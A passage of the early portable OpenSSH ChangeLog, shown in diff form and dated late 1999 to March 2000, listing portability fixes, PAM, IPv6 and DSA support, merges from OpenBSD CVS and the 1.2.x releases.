[nchan.c] + sync w/ channels.c + +20000326 + - Better tests for OpenSSL w/ RSAref + - Added replacement setenv() function from OpenBSD libc. Suggested by + Ben Lindstrom + - OpenBSD CVS update + - [auth-krb4.c] + -Wall + - [auth-rh-rsa.c auth-rsa.c hostfile.c hostfile.h key.c key.h match.c] + [match.h ssh.c ssh.h sshconnect.c sshd.c] + initial support for DSA keys. ok deraadt@, niels@ + - [cipher.c cipher.h] + remove unused cipher_attack_detected code + - [scp.1 ssh-add.1 ssh-agent.1 ssh-keygen.1 ssh.1 sshd.8] + Fix some formatting problems I missed before. + - [ssh.1 sshd.8] + fix spelling errors, From: FreeBSD + - [ssh.c] + switch to raw mode only if he _get_ a pty (not if we _want_ a pty). + +20000324 + - Released 1.2.3 + +20000317 + - Clarified --with-default-path option. + - Added -blibpath handling for AIX to work around stupid runtime linking. + Problem elucidated by gshapiro@SENDMAIL.ORG by way of Jim Knoble + + - Checks for 64 bit int types. Problem report from Mats Fredholm + + - OpenBSD CVS updates: + - [atomicio.c auth-krb4.c bufaux.c channels.c compress.c fingerprint.c] + [packet.h radix.c rsa.c scp.c ssh-agent.c ssh-keygen.c sshconnect.c] + [sshd.c] + pedantic: signed vs. unsigned, void*-arithm, etc + - [ssh.1 sshd.8] + Various cleanups and standardizations. + - Runtime error fix for HPUX from Otmar Stahl + + +20000316 + - Fixed configure not passing LDFLAGS to Solaris. Report from David G. + Hesprich + - Propogate LD through to Makefile + - Doc cleanups + - Added blurb about "scp: command not found" errors to UPGRADING + +20000315 + - Fix broken CFLAGS handling during search for OpenSSL. Fixes va_list + problems with gcc/Solaris. + - Don't free argument to putenv() after use (in setenv() replacement). + Report from Seigo Tanimura + - Created contrib/ subdirectory. Included helpers from Phil Hands' + Debian package, README file and chroot patch from Ricardo Cerqueira + + - Moved gnome-ssh-askpass.c to contrib directory and removed config + option. + - Slight cleanup to doc files + - Configure fix from Bratislav ILICH + +20000314 + - Include macro for IN6_IS_ADDR_V4MAPPED. Report from + peter@frontierflying.com + - Include /usr/local/include and /usr/local/lib for systems that don't + do it themselves + - -R/usr/local/lib for Solaris + - Fix RSAref detection + - Fix IN6_IS_ADDR_V4MAPPED macro + +20000311 + - Detect RSAref + - OpenBSD CVS change + [sshd.c] + - disallow guessing of root password + - More configure fixes + - IPv6 workarounds from Hideaki YOSHIFUJI + +20000309 + - OpenBSD CVS updates to v1.2.3 + [ssh.h atomicio.c] + - int atomicio -> ssize_t (for alpha). ok deraadt@ + [auth-rsa.c] + - delay MD5 computation until client sends response, free() early, cleanup. + [cipher.c] + - void* -> unsigned char*, ok niels@ + [hostfile.c] + - remove unused variable 'len'. fix comments. + - remove unused variable + [log-client.c log-server.c] + - rename a cpp symbol, to avoid param.h collision + [packet.c] + - missing xfree() + - getsockname() requires initialized tolen; andy@guildsoftware.com + - use getpeername() in packet_connection_is_on_socket(), fixes sshd -i; + from Holger.Trapp@Informatik.TU-Chemnitz.DE + [pty.c pty.h] + - register cleanup for pty earlier. move code for pty-owner handling to + pty.c ok provos@, dugsong@ + [readconf.c] + - turn off x11-fwd for the client, too. + [rsa.c] + - PKCS#1 padding + [scp.c] + - allow '.' in usernames; from jedgar@fxp.org + [servconf.c] + - typo: ignore_user_known_hosts int->flag; naddy@mips.rhein-neckar.de + - sync with sshd_config + [ssh-keygen.c] + - enable ssh-keygen -l -f ~/.ssh/known_hosts, ok deraadt@ + [ssh.1] + - Change invalid 'CHAT' loglevel to 'VERBOSE' + [ssh.c] + - suppress AAAA query host when '-4' is used; from shin@nd.net.fujitsu.co.jp + - turn off x11-fwd for the client, too. + [sshconnect.c] + - missing xfree() + - retry rresvport_af(), too. from sumikawa@ebina.hitachi.co.jp. + - read error vs. "Connection closed by remote host" + [sshd.8] + - ie. -> i.e., + - do not link to a commercial page.. + - sync with sshd_config + [sshd.c] + - no need for poll.h; from bright@wintelcom.net + - log with level log() not fatal() if peer behaves badly. + - don't panic if client behaves strange. ok deraadt@ + - make no-port-forwarding for RSA keys deny both -L and -R style fwding + - delay close() of pty until the pty has been chowned back to root + - oops, fix comment, too. + - missing xfree() + - move XAUTHORITY to subdir. ok dugsong@. fixes debian bug #57907, too. + (http://cgi.debian.org/cgi-bin/bugreport.cgi?archive=no&bug=57907) + - register cleanup for pty earlier. move code for pty-owner handling to + pty.c ok provos@, dugsong@ + - create x11 cookie file + - fix pr 1113, fclose() -> pclose(), todo: remote popen() + - version 1.2.3 + - Cleaned up + - Removed warning workaround for Linux and devpts filesystems (no longer + required after OpenBSD updates) + +20000308 + - Configure fix from Hiroshi Takekawa + +20000307 + - Released 1.2.2p1 + +20000305 + - Fix DEC compile fix + - Explicitly seed OpenSSL's PRNG before checking rsa_alive() + - Check for getpagesize in libucb.a if not found in libc. Fix for old + Solaris from Andre Lucas + - Check for libwrap if --with-tcp-wrappers option specified. Suggestion + Mate Wierdl + +20000303 + - Added "make host-key" target, Suggestion from Dominik Brettnacher + + - Don't permanently fail on bind() if getaddrinfo has more choices left for + us. Needed to work around messy IPv6 on Linux. Patch from Arkadiusz + Miskiewicz + - DEC Unix compile fix from David Del Piero + - Manpage fix from David Del Piero + +20000302 + - Big cleanup of autoconf code + - Rearranged to be a little more logical + - Added -R option for Solaris + - Rewrote OpenSSL detection code. Now uses AC_TRY_RUN with a test program + to detect library and header location _and_ ensure library has proper + RSA support built in (this is a problem with OpenSSL 0.9.5). + - Applied pty cleanup patch from markus.friedl@informatik.uni-erlangen.de + - Avoid warning message with Unix98 ptys + - Warning was valid - possible race condition on PTYs. Avoided using + platform-specific code. + - Document some common problems + - Allow root access to any key. Patch from + markus.friedl@informatik.uni-erlangen.de + +20000207 + - Removed SOCKS code. Will support through a ProxyCommand. + +20000203 + - Fixed SEGVs in authloop, fix from vbzoli@hbrt.hu + - Add --with-ssl-dir option + +20000202 + - Fix lastlog code for directory based lastlogs. Fix from Josh Durham + + - Documentation fixes from HARUYAMA Seigo + - Added URLs to Japanese translations of documents by HARUYAMA Seigo + + +20000201 + - Use socket pairs by default (instead of pipes). Prevents race condition + on several (buggy) OSs. Report and fix from tridge@linuxcare.com + +20000127 + - Seed OpenSSL's random number generator before generating RSA keypairs + - Split random collector into seperate file + - Compile fix from Andre Lucas + +20000126 + - Released 1.2.2 stable + + - NeXT keeps it lastlog in /usr/adm. Report from + mouring@newton.pconline.com + - Added note in UPGRADING re interop with commercial SSH using idea. + Report from Jim Knoble + - Fix linking order for Kerberos/AFS. Fix from Holget Trapp + + +20000125 + - Fix NULL pointer dereference in login.c. Fix from Andre Lucas + + - Reorder PAM initialisation so it does not mess up lastlog. Reported + by Andre Lucas + - Use preformatted manpages on SCO, report from Gary E. Miller + + - New URL for x11-ssh-askpass. + - Fixpaths was missing /etc/ssh_known_hosts. Report from Jim Knoble + + - Added 'DESTDIR' option to Makefile to ease package building. Patch from + Jim Knoble + - Updated RPM spec files to use DESTDIR + +20000124 + - Pick up version 1.2.2 from OpenBSD CVS (no changes, just version number + increment) + +20000123 + - OpenBSD CVS: + - [packet.c] + getsockname() requires initialized tolen; andy@guildsoftware.com + - AIX patch from Matt Richards and David Rankin + + - Fix lastlog support, patch from Andre Lucas + +20000122 + - Fix compilation of bsd-snprintf.c on Solaris, fix from Ben Taylor + + - Merge preformatted manpage patch from Andre Lucas + + - Make IPv4 use the default in RPM packages + - Irix uses preformatted manpages + - Missing htons() in bsd-bindresvport.c, fix from Holger Trapp + + - OpenBSD CVS updates: + - [packet.c] + use getpeername() in packet_connection_is_on_socket(), fixes sshd -i; + from Holger.Trapp@Informatik.TU-Chemnitz.DE + - [sshd.c] + log with level log() not fatal() if peer behaves badly. + - [readpass.c] + instead of blocking SIGINT, catch it ourselves, so that we can clean + the tty modes up and kill ourselves -- instead of our process group + leader (scp, cvs, ...) going away and leaving us in noecho mode. + people with cbreak shells never even noticed.. + - [ssh-add.1 ssh-agent.1 ssh-keygen.1 ssh.1 sshd.8] + ie. -> i.e., + +20000120 + - Don't use getaddrinfo on AIX + - Update to latest OpenBSD CVS: + - [auth-rsa.c] + - fix user/1056, sshd keeps restrictions; dbt@meat.net + - [sshconnect.c] + - disable agent fwding for proto 1.3, remove abuse of auth-rsa flags. + - destroy keys earlier + - split key exchange (kex) and user authentication (user-auth), + ok: provos@ + - [sshd.c] + - no need for poll.h; from bright@wintelcom.net + - disable agent fwding for proto 1.3, remove abuse of auth-rsa flags. + - split key exchange (kex) and user authentication (user-auth), + ok: provos@ + - Big manpage and config file cleanup from Andre Lucas + + - Re-added latest (unmodified) OpenBSD manpages + - Doc updates + - NetBSD patch from David Rankin and + Christos Zoulas + +20000119 + - SCO compile fixes from Gary E. Miller + - Compile fix from Darren_Hall@progressive.com + - Linux/glibc-2.1.2 takes a *long* time to look up names for AF_UNSPEC + addresses using getaddrinfo(). Added a configure switch to make the + default lookup mode AF_INET + +20000118 + - Fixed --with-pid-dir option + - Makefile fix from Gary E. Miller + - Compile fix for HPUX and Solaris from Andre Lucas + + +20000117 + - Clean up bsd-bindresvport.c. Use arc4random() for picking initial + port, ignore EINVAL errors (Linux) when searching for free port. + - Revert __snprintf -> snprintf aliasing. Apparently Solaris + __snprintf isn't. Report from Theo de Raadt + - Document location of Redhat PAM file in INSTALL. + - Fixed X11 forwarding bug on Linux. libc advertises AF_INET6 + INADDR_ANY_INIT addresses via getaddrinfo, but may not be able to + deliver (no IPv6 kernel support) + - Released 1.2.1pre27 + + - Fix rresvport_af failure errors (logic error in bsd-bindresvport.c) + - Fix --with-ipaddr-display option test. Fix from Jarno Huuskonen + + - Fix hang on logout if processes are still using the pty. Needs + further testing. + - Patch from Christos Zoulas + - Try $prefix first when looking for OpenSSL. + - Include sys/types.h when including sys/socket.h in test programs + - Substitute PID directory in sshd.8. Suggestion from Andrew + Stribblehill + +20000116 + - Renamed --with-xauth-path to --with-xauth + - Added --with-pid-dir option + - Released 1.2.1pre26 + + - Compilation fix from Kiyokazu SUTO + - Fixed broken bugfix for /dev/ptmx on Linux systems which lack + openpty(). Report from Kiyokazu SUTO + +20000115 + - Add --with-xauth-path configure directive and explicit test for + /usr/openwin/bin/xauth for Solaris systems. Report from Anders + Nordby + - Fix incorrect detection of /dev/ptmx on Linux systems that lack + openpty. Report from John Seifarth + - Look for intXX_t and u_intXX_t in sys/bitypes.h if they are not in + sys/types.h. Fixes problems on SCO, report from Gary E. Miller + + - Use __snprintf and __vnsprintf if they are found where snprintf and + vnsprintf are lacking. Suggested by Ben Taylor + and others. + +20000114 + - Merged OpenBSD IPv6 patch: + - [sshd.c sshd.8 sshconnect.c ssh.h ssh.c servconf.h servconf.c scp.1] + [scp.c packet.h packet.c login.c log.c canohost.c channels.c] + [hostfile.c sshd_config] + ipv6 support: mostly gethostbyname->getaddrinfo/getnameinfo, new + features: sshd allows multiple ListenAddress and Port options. note + that libwrap is not IPv6-ready. (based on patches from + fujiwara@rcac.tdi.co.jp) + - [ssh.c canohost.c] + more hints (hints.ai_socktype=SOCK_STREAM) for getaddrinfo, + from itojun@ + - [channels.c] + listen on _all_ interfaces for X11-Fwd (hints.ai_flags = AI_PASSIVE) + - [packet.h] + allow auth-kerberos for IPv4 only + - [scp.1 sshd.8 servconf.h scp.c] + document -4, -6, and 'ssh -L 2022/::1/22' + - [ssh.c] + 'ssh @host' is illegal (null user name), from + karsten@gedankenpolizei.de + - [sshconnect.c] + better error message + - [sshd.c] + allow auth-kerberos for IPv4 only + - Big IPv6 merge: + - Cleanup overrun in sockaddr copying on RHL 6.1 + - Replacements for getaddrinfo, getnameinfo, etc based on versions + from patch from KIKUCHI Takahiro + - Replacement for missing structures on systems that lack IPv6 + - record_login needed to know about AF_INET6 addresses + - Borrowed more code from OpenBSD: rresvport_af and requisites + +20000110 + - Fixes to auth-skey to enable it to use the standard OpenSSL libraries + +20000107 + - New config.sub and config.guess to fix problems on SCO. Supplied + by Gary E. Miller + - SCO build fix from Gary E. Miller + - Released 1.2.1pre25 + +20000106 + - Documentation update & cleanup + - Better KrbIV / AFS detection, based on patch from: + Holger Trapp + +20000105 + - Fixed annoying DES corruption problem. libcrypt has been + overriding symbols in libcrypto. Removed libcrypt and crypt.h + altogether (libcrypto includes its own crypt(1) replacement) + - Added platform-specific rules for Irix 6.x. Included warning that + they are untested. + +20000103 + - Add explicit make rules for files proccessed by fixpaths. + - Fix "make install" in RPM spec files. Report from Tenkou N. Hattori + + - Removed "nullok" directive from default PAM configuration files. + Added information on enabling EmptyPasswords on openssh+PAM in + UPGRADING file. + - OpenBSD CVS updates + - [ssh-agent.c] + cleanup_exit() for SIGTERM/SIGHUP, too. from fgsch@ and + dgaudet@arctic.org + - [sshconnect.c] + compare correct version for 1.3 compat mode + +20000102 + - Prevent multiple inclusion of config.h and defines.h. Suggested + by Andre Lucas + - Properly clean up on exit of ssh-agent. Patch from Dean Gaudet + + +19991231 + - Fix password support on systems with a mixture of shadowed and + non-shadowed passwords (e.g. NIS). Report and fix from + HARUYAMA Seigo + - Fix broken autoconf typedef detection. Report from Marc G. + Fournier + - Fix occasional crash on LinuxPPC. Patch from Franz Sirl + + - Prevent typedefs from being compiled more than once. Report from + Marc G. Fournier + - Fill in ut_utaddr utmp field. Report from Benjamin Charron + + - Really fix broken default path. Fix from Jim Knoble + + - Remove test for quad_t. No longer needed. + - Released 1.2.1pre24 + + - Added support for directory-based lastlogs + - Really fix typedefs, patch from Ben Taylor + +19991230 + - OpenBSD CVS updates: + - [auth-passwd.c] + check for NULL 1st + - Removed most of the pam code into its own file auth-pam.[ch]. This + cleaned up sshd.c up significantly. + - PAM authentication was incorrectly interpreting + "PermitRootLogin without-password". Report from Matthias Andree + + - Updated documentation with ./configure options + - Released 1.2.1pre23 + +19991229 + - Applied another NetBSD portability patch from David Rankin + + - Fix --with-default-path option. + - Autodetect perl, patch from David Rankin + + - Print whether OpenSSH was compiled with RSARef, patch from + Nalin Dahyabhai + - Calls to pam_setcred, patch from Nalin Dahyabhai + + - Detect missing size_t and typedef it. + - Rename helper.[ch] to (more appropriate) bsd-misc.[ch] + - Minor Makefile cleaning + +19991228 + - Replacement for getpagesize() for systems which lack it + - NetBSD login.c compile fix from David Rankin + + - Fully set ut_tv if present in utmp or utmpx + - Portability fixes for Irix 5.3 (now compiles OK!) + - autoconf and other misc cleanups + - Merged AIX patch from Darren Hall + - Cleaned up defines.h + - Released 1.2.1pre22 + +19991227 + - Automatically correct paths in manpages and configuration files. Patch + and script from Andre Lucas + - Removed credits from README to CREDITS file, updated. + - Added --with-default-path to specify custom path for server + - Removed #ifdef trickery from acconfig.h into defines.h + - PAM bugfix. PermitEmptyPassword was being ignored. + - Fixed PAM config files to allow empty passwords if server does. + - Explained spurious PAM auth warning workaround in UPGRADING + - Use last few chars of tty line as ut_id + - New SuSE RPM spec file from Chris Saia + - OpenBSD CVS updates: + - [packet.h auth-rhosts.c] + check format string for packet_disconnect and packet_send_debug, too + - [channels.c] + use packet_get_maxsize for channels. consistence. + +19991226 + - Enabled utmpx support by default for Solaris + - Cleanup sshd.c PAM a little more + - Revised RPM package to include Jim Knoble's + X11 ssh-askpass program. + - Disable logging of PAM success and failures, PAM is verbose enough. + Unfortunatly there is currently no way to disable auth failure + messages. Mention this in UPGRADING file and sent message to PAM + developers + - OpenBSD CVS update: + - [ssh-keygen.1 ssh.1] + remove ref to .ssh/random_seed, mention .ssh/environment in + .Sh FILES, too + - Released 1.2.1pre21 + - Fixed implicit '.' in default path, report from Jim Knoble + + - Redhat RPM spec fixes from Jim Knoble + +19991225 + - More fixes from Andre Lucas + - Cleanup of auth-passwd.c for shadow and MD5 passwords + - Cleanup and bugfix of PAM authentication code + - Released 1.2.1pre20 + + - Merged fixes from Ben Taylor + - Fixed configure support for PAM. Reported by Naz <96na@eng.cam.ac.uk> + - Disabled logging of PAM password authentication failures when password + is empty. (e.g start of authentication loop). Reported by Naz + <96na@eng.cam.ac.uk>) + +19991223 + - Merged later HPUX patch from Andre Lucas + + - Above patch included better utmpx support from Ben Taylor + + +19991222 + - Fix undefined fd_set type in ssh.h from Povl H. Pedersen + + - Fix login.c breakage on systems which lack ut_host in struct + utmp. Reported by Willard Dawson + +19991221 + - Integration of large HPUX patch from Andre Lucas + . Integrating it had a few other + benefits: + - Ability to disable shadow passwords at configure time + - Ability to disable lastlog support at configure time + - Support for IP address in $DISPLAY + - OpenBSD CVS update: + - [sshconnect.c] + say "REMOTE HOST IDENTIFICATION HAS CHANGED" + - Fix DISABLE_SHADOW support + - Allow MD5 passwords even if shadow passwords are disabled + - Release 1.2.1pre19 + +19991218 + - Redhat init script patch from Chun-Chung Chen + + - Avoid breakage on systems without IPv6 headers + +19991216 + - Makefile changes for Solaris from Peter Kocks + + - Minor updates to docs + - Merged OpenBSD CVS changes: + - [authfd.c ssh-agent.c] + keysize warnings talk about identity files + - [packet.c] + "Connection closed by x.x.x.x": fatal() -> log() + - Correctly handle empty passwords in shadow file. Patch from: + "Chris, the Young One" + - Released 1.2.1pre18 + +19991215 + - Integrated patchs from Juergen Keil + - Avoid void* pointer arithmatic + - Use LDFLAGS correctly + - Fix SIGIO error in scp + - Simplify status line printing in scp + - Added better test for inline functions compiler support from + Darren_Hall@progressive.com + +19991214 + - OpenBSD CVS Changes + - [canohost.c] + fix get_remote_port() and friends for sshd -i; + Holger.Trapp@Informatik.TU-Chemnitz.DE + - [mpaux.c] + make code simpler. no need for memcpy. niels@ ok + - [pty.c] + namebuflen not sizeof namebuflen; bnd@ep-ag.com via djm@mindrot.org + fix proto; markus + - [ssh.1] + typo; mark.baushke@solipsa.com + - [channels.c ssh.c ssh.h sshd.c] + type conflict for 'extern Type *options' in channels.c; dot@dotat.at + - [sshconnect.c] + move checking of hostkey into own function. + - [version.h] + OpenSSH-1.2.1 + - Clean up broken includes in pty.c + - Some older systems don't have poll.h, they use sys/poll.h instead + - Doc updates + +19991211 + - Fix compilation on systems with AFS. Reported by + aloomis@glue.umd.edu + - Fix installation on Solaris. Reported by + Gordon Rowell + - Fix gccisms (__attribute__ and inline). Report by edgy@us.ibm.com, + patch from Markus Friedl + - Auto-locate xauth. Patch from David Agraz + - Compile fix from David Agraz + - Avoid compiler warning in bsd-snprintf.c + - Added pam_limits.so to default PAM config. Suggested by + Jim Knoble + +19991209 + - Import of patch from Ben Taylor : + - Improved PAM support + - "uninstall" rule for Makefile + - utmpx support + - Should fix PAM problems on Solaris + - OpenBSD CVS updates: + - [readpass.c] + avoid stdio; based on work by markus, millert, and I + - [sshd.c] + make sure the client selects a supported cipher + - [sshd.c] + fix sighup handling. accept would just restart and daemon handled + sighup only after the next connection was accepted. use poll on + listen sock now. + - [sshd.c] + make that a fatal + - Applied patch from David Rankin + to fix libwrap support on NetBSD + - Released 1.2pre17 + +19991208 + - Compile fix for Solaris with /dev/ptmx from + David Agraz + +19991207 + - sshd Redhat init script patch from Jim Knoble + fixes compatability with 4.x and 5.x + - Fixed default SSH_ASKPASS + - Fix PAM account and session being called multiple times. Problem + reported by Adrian Baugh + - Merged more OpenBSD changes: + - [atomicio.c authfd.c scp.c serverloop.c ssh.h sshconnect.c sshd.c] + move atomicio into it's own file. wrap all socket write()s which + were doing write(sock, buf, len) != len, with atomicio() calls. + - [auth-skey.c] + fd leak + - [authfile.c] + properly name fd variable + - [channels.c] + display great hatred towards strcpy + - [pty.c pty.h sshd.c] + use openpty() if it exists (it does on BSD4_4) + - [tildexpand.c] + check for ~ expansion past MAXPATHLEN + - Modified helper.c to use new atomicio function. + - Reformat Makefile a little + - Moved RC4 routines from rc4.[ch] into helper.c + - Added autoconf code to detect /dev/ptmx (Solaris) and /dev/ptc (AIX) + - Updated SuSE spec from Chris Saia + - Tweaked Redhat spec + - Clean up bad imports of a few files (forgot -kb) + - Released 1.2pre16 + +19991204 + - Small cleanup of PAM code in sshd.c + - Merged OpenBSD CVS changes: + - [auth-krb4.c auth-passwd.c auth-skey.c ssh.h] + move skey-auth from auth-passwd.c to auth-skey.c, same for krb4 + - [auth-rsa.c] + warn only about mismatch if key is _used_ + warn about keysize-mismatch with log() not error() + channels.c readconf.c readconf.h ssh.c ssh.h sshconnect.c + ports are u_short + - [hostfile.c] + indent, shorter warning + - [nchan.c] + use error() for internal errors + - [packet.c] + set loglevel for SSH_MSG_DISCONNECT to log(), not fatal() + serverloop.c + indent + - [ssh-add.1 ssh-add.c ssh.h] + document $SSH_ASKPASS, reasonable default + - [ssh.1] + CheckHostIP is not available for connects via proxy command + - [sshconnect.c] + typo + easier to read client code for passwd and skey auth + turn of checkhostip for proxy connects, since we don't know the remote ip + +19991126 + - Add definition for __P() + - Added [v]snprintf() replacement for systems that lack it + +19991125 + - More reformatting merged from OpenBSD CVS + - Merged OpenBSD CVS changes: + - [channels.c] + fix packet_integrity_check() for !have_hostname_in_open. + report from mrwizard@psu.edu via djm@ibs.com.au + - [channels.c] + set SO_REUSEADDR and SO_LINGER for forwarded ports. + chip@valinux.com via damien@ibs.com.au + - [nchan.c] + it's not an error() if shutdown_write failes in nchan. + - [readconf.c] + remove dead #ifdef-0-code + - [readconf.c servconf.c] + strcasecmp instead of tolower + - [scp.c] + progress meter overflow fix from damien@ibs.com.au + - [ssh-add.1 ssh-add.c] + SSH_ASKPASS support + - [ssh.1 ssh.c] + postpone fork_after_authentication until command execution, + request/patch from jahakala@cc.jyu.fi via damien@ibs.com.au + plus: use daemon() for backgrounding + - Added BSD compatible install program and autoconf test, thanks to + Niels Kristian Bech Jensen + - Solaris fixing, thanks to Ben Taylor + - Merged beginnings of AIX support from Tor-Ake Fransson + - Release 1.2pre15 + +19991124 + - Merged very large OpenBSD source code reformat + - OpenBSD CVS updates + - [channels.c cipher.c compat.c log-client.c scp.c serverloop.c] + [ssh.h sshd.8 sshd.c] + syslog changes: + * Unified Logmessage for all auth-types, for success and for failed + * Standard connections get only ONE line in the LOG when level==LOG: + Auth-attempts are logged only, if authentication is: + a) successfull or + b) with passwd or + c) we had more than AUTH_FAIL_LOG failues + * many log() became verbose() + * old behaviour with level=VERBOSE + - [readconf.c readconf.h ssh.1 ssh.h sshconnect.c sshd.c] + tranfer s/key challenge/response data in SSH_SMSG_AUTH_TIS_CHALLENGE + messages. allows use of s/key in windows (ttssh, securecrt) and + ssh-1.2.27 clients without 'ssh -v', ok: niels@ + - [sshd.8] + -V, for fallback to openssh in SSH2 compatibility mode + - [sshd.c] + fix sigchld race; cjc5@po.cwru.edu + +19991123 + - Added SuSE package files from Chris Saia + - Restructured package-related files under packages/* + - Added generic PAM config + - Numerous little Solaris fixes + - Add recommendation to use GNU make to INSTALL document + +19991122 + - Make close gnome-ssh-askpass (Debian bug #50299) + - OpenBSD CVS Changes + - [ssh-keygen.c] + don't create ~/.ssh only if the user wants to store the private + key there. show fingerprint instead of public-key after + keygeneration. ok niels@ + - Added OpenBSD bsd-strlcat.c, created bsd-strlcat.h + - Added timersub() macro + - Tidy RCSIDs of bsd-*.c + - Added autoconf test and macro to deal with old PAM libraries + pam_strerror definition (one arg vs two). + - Fix EGD problems (Thanks to Ben Taylor ) + - Retry /dev/urandom reads interrupted by signal (report from + Robert Hardy ) + - Added a setenv replacement for systems which lack it + - Only display public key comment when presenting ssh-askpass dialog + - Released 1.2pre14 + + - Configure, Make and changelog corrections from Tudor Bosman + and Niels Kristian Bech Jensen + +19991121 + - OpenBSD CVS Changes: + - [channels.c] + make this compile, bad markus + - [log.c readconf.c servconf.c ssh.h] + bugfix: loglevels are per host in clientconfig, + factor out common log-level parsing code. + - [servconf.c] + remove unused index (-Wall) + - [ssh-agent.c] + only one 'extern char *__progname' + - [sshd.8] + document SIGHUP, -Q to synopsis + - [sshconnect.c serverloop.c sshd.c packet.c packet.h] + [channels.c clientloop.c] + SSH_CMSG_MAX_PACKET_SIZE, some clients use this, some need this, niels@ + [hope this time my ISP stays alive during commit] + - [OVERVIEW README] typos; green@freebsd + - [ssh-keygen.c] + replace xstrdup+strcat with strlcat+fixed buffer, fixes OF (bad me) + exit if writing the key fails (no infinit loop) + print usage() everytime we get bad options + - [ssh-keygen.c] overflow, djm@mindrot.org + - [sshd.c] fix sigchld race; cjc5@po.cwru.edu + +19991120 + - Merged more Solaris support from Marc G. Fournier + + - Wrote autoconf tests for integer bit-types + - Fixed enabling kerberos support + - Fix segfault in ssh-keygen caused by buffer overrun in filename + handling. + +19991119 + - Merged PAM buffer overrun patch from Chip Salzenberg + - Merged OpenBSD CVS changes + - [auth-rhosts.c auth-rsa.c ssh-agent.c sshconnect.c sshd.c] + more %d vs. %s in fmt-strings + - [authfd.c] + Integers should not be printed with %s + - EGD uses a socket, not a named pipe. Duh. + - Fix includes in fingerprint.c + - Fix scp progress bar bug again. + - Move ssh-askpass from ${libdir}/ssh to ${libexecdir}/ssh at request of + David Rankin + - Added autoconf option to enable Kerberos 4 support (untested) + - Added autoconf option to enable AFS support (untested) + - Added autoconf option to enable S/Key support (untested) + - Added autoconf option to enable TCP wrappers support (compiles OK) + - Renamed BSD helper function files to bsd-* + - Added tests for login and daemon and enable OpenBSD replacements for + when they are absent. + - Added non-PAM MD5 password support patch from Tudor Bosman + +19991118 + - Merged OpenBSD CVS changes + - [scp.c] foregroundproc() in scp + - [sshconnect.h] include fingerprint.h + - [sshd.c] bugfix: the log() for passwd-auth escaped during logging + changes. + - [ssh.1] Spell my name right. + - Added openssh.com info to README + +19991117 + - Merged OpenBSD CVS changes + - [ChangeLog.Ylonen] noone needs this anymore + - [authfd.c] close-on-exec for auth-socket, ok deraadt + - [hostfile.c] + in known_hosts key lookup the entry for the bits does not need + to match, all the information is contained in n and e. This + solves the problem with buggy servers announcing the wrong + modulus length. markus and me. + - [serverloop.c] + bugfix: check for space if child has terminated, from: + iedowse@maths.tcd.ie + - [ssh-add.1 ssh-add.c ssh-keygen.1 ssh-keygen.c sshconnect.c] + [fingerprint.c fingerprint.h] + rsa key fingerprints, idea from Bjoern Groenvall + - [ssh-agent.1] typo + - [ssh.1] add OpenSSH information to AUTHOR section. okay markus@ + - [sshd.c] + force logging to stderr while loading private key file + (lost while converting to new log-levels) + +19991116 + - Fix some Linux libc5 problems reported by Miles Wilson + - Merged OpenBSD CVS changes: + - [auth-rh-rsa.c auth-rsa.c authfd.c authfd.h hostfile.c mpaux.c] + [mpaux.h ssh-add.c ssh-agent.c ssh.h ssh.c sshd.c] + the keysize of rsa-parameter 'n' is passed implizit, + a few more checks and warnings about 'pretended' keysizes. + - [cipher.c cipher.h packet.c packet.h sshd.c] + remove support for cipher RC4 + - [ssh.c] + a note for legay systems about secuity issues with permanently_set_uid(), + the private hostkey and ptrace() + - [sshconnect.c] + more detailed messages about adding and checking hostkeys + +19991115 + - Merged OpenBSD CVS changes: + - [ssh-add.c] change passphrase loop logic and remove ref to + $DISPLAY, ok niels + - Changed to ssh-add.c broke askpass support. Revised it to be a little more + modular. + - Revised autoconf support for enabling/disabling askpass support. + - Merged more OpenBSD CVS changes: + [auth-krb4.c] + - disconnect if getpeername() fails + - missing xfree(*client) + [canohost.c] + - disconnect if getpeername() fails + - fix comment: we _do_ disconnect if ip-options are set + [sshd.c] + - disconnect if getpeername() fails + - move checking of remote port to central place + [auth-rhosts.c] move checking of remote port to central place + [log-server.c] avoid extra fd per sshd, from millert@ + [readconf.c] print _all_ bad config-options in ssh(1), too + [readconf.h] print _all_ bad config-options in ssh(1), too + [ssh.c] print _all_ bad config-options in ssh(1), too + [sshconnect.c] disconnect if getpeername() fails + - OpenBSD's changes to sshd.c broke the PAM stuff, re-merged it. + - Various small cleanups to bring diff (against OpenBSD) size down. + - Merged more Solaris compability from Marc G. Fournier + + - Wrote autoconf tests for __progname symbol + - RPM spec file fixes from Jim Knoble + - Released 1.2pre12 + + - Another OpenBSD CVS update: + - [ssh-keygen.1] fix .Xr + +19991114 + - Solaris compilation fixes (still imcomplete) + +19991113 + - Build patch from Niels Kristian Bech Jensen + - Don't install config files if they already exist + - Fix inclusion of additional preprocessor directives from acconfig.h + - Removed redundant inclusions of config.h + - Added 'Obsoletes' lines to RPM spec file + - Merged OpenBSD CVS changes: + - [bufaux.c] save a view malloc/memcpy/memset/free's, ok niels + - [scp.c] fix overflow reported by damien@ibs.com.au: off_t + totalsize, ok niels,aaron + - Delay fork (-f option) in ssh until after port forwarded connections + have been initialised. Patch from Jani Hakala + - Added shadow password patch from Thomas Neumann + - Added ifdefs to auth-passwd.c to exclude it when PAM is enabled + - Tidied default config file some more + - Revised Redhat initscript to fix bug: sshd (re)start would fail + if executed from inside a ssh login. + +19991112 + - Merged changes from OpenBSD CVS + - [sshd.c] session_key_int may be zero + - [auth-rh-rsa.c servconf.c servconf.h ssh.h sshd.8 sshd.c sshd_config] + IgnoreUserKnownHosts(default=no), used for RhostRSAAuth, ok + deraadt,millert + - Brought default sshd_config more in line with OpenBSD's + - Grab server in gnome-ssh-askpass (Debian bug #49872) + - Released 1.2pre10 + + - Added INSTALL documentation + - Merged yet more changes from OpenBSD CVS + - [auth-rh-rsa.c auth-rhosts.c auth-rsa.c channels.c clientloop.c] + [ssh.c ssh.h sshconnect.c sshd.c] + make all access to options via 'extern Options options' + and 'extern ServerOptions options' respectively; + options are no longer passed as arguments: + * make options handling more consistent + * remove #include "readconf.h" from ssh.h + * readconf.h is only included if necessary + - [mpaux.c] clear temp buffer + - [servconf.c] print _all_ bad options found in configfile + - Make ssh-askpass support optional through autoconf + - Fix nasty division-by-zero error in scp.c + - Released 1.2pre11 + +19991111 + - Added (untested) Entropy Gathering Daemon (EGD) support + - Fixed /dev/urandom fd leak (Debian bug #49722) + - Merged OpenBSD CVS changes: + - [auth-rh-rsa.c] user/958: check ~/.ssh/known_hosts for rhosts-rsa, too + - [ssh.1] user/958: check ~/.ssh/known_hosts for rhosts-rsa, too + - [sshd.8] user/958: check 